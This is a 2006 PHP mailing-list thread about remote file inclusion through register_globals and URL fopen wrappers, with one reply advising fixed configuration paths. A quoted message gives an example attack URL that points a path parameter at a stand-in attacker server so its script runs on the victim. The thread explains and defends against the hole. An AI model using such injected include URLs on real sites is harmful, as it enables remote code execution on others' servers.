I usualy use an array with site configuration which I define at top
included file so you cannot overwrite the configuration paths from
outside the scripts.
<?
$APP_CFG = array();
$APP_CFG["my_path"] = "/somewhere/on/server/";
?>
>From TFM:
"If "URL fopen wrappers" are enabled in PHP (which they are in the
default configuration), you can specify the file to be included using a
URL (via HTTP or other supported wrapper - see Appendix M, List of
Supported Protocols/Wrappers for a list of protocols) instead of a local
pathname. If the target server interprets the target file as PHP code,
variables may be passed to the included file using a URL request string
as used with HTTP GET. This is not strictly speaking the same thing as
including the file and having it inherit the parent file's variable
scope; the script is actually being run on the remote server and the
result is then being included into the local script.
Warning:
Windows versions of PHP prior to PHP 4.3.0 do not support accessing
remote files via this function, even if allow_url_fopen is enabled."
Andy
tedd wrote:
> At 11:57 AM -0800 11/14/06, bruce wrote:
>> hi tedd...
>>
>> for the following url,
>> http://www.example.com/test.php?path=abc?dummy=123
>>
>> if the register_globals is on, a malicious user could potentially
>> invoke,
>> http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
>>
>> .txt?dummy=123, which would cause the 'badscript.txt' to be used in the
>> original script. now, this in and of itself wouldn't cause a file on the
>> http server to be changed. however, if the webapp somehow caused the
>> $path
>> var to be invoked or to be used in an exec() function, then whatever
>> is in
>> the 'badscript.txt' file will be run as if the file is on the local
>> system.
>>
>> at this point, you're pretty much at whim of the malicious user. now,
>> the
>> chance of this happening is pretty slim, unless you're using some open
>> source app that's unsecure, and that a user can reasonably easy find.
>> which
>> is what has happened to some apps in the past.
>>
>> a more potential reason for the index.php files to be changed, is
>> that there
>> was some security hole, either via apache, and/or the OS for the server.
>>
>> hope this helps a little bit more...
>
> Ohhh, so "badscript.php doesn't have to exist and the badscript.txt is
> imported via the url, the script is built using only the
> badscript.txt, and then executed "as-is" -- clever.
>
> Off to try that... :-)
>
> ...
>
> Nope, that didn't work -- I still don't get it.
>
> I realize that one can grab stuff from another server, but I still
> don't see how one can do this.
>
> Sorry, for being so dense.
>
> tedd
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
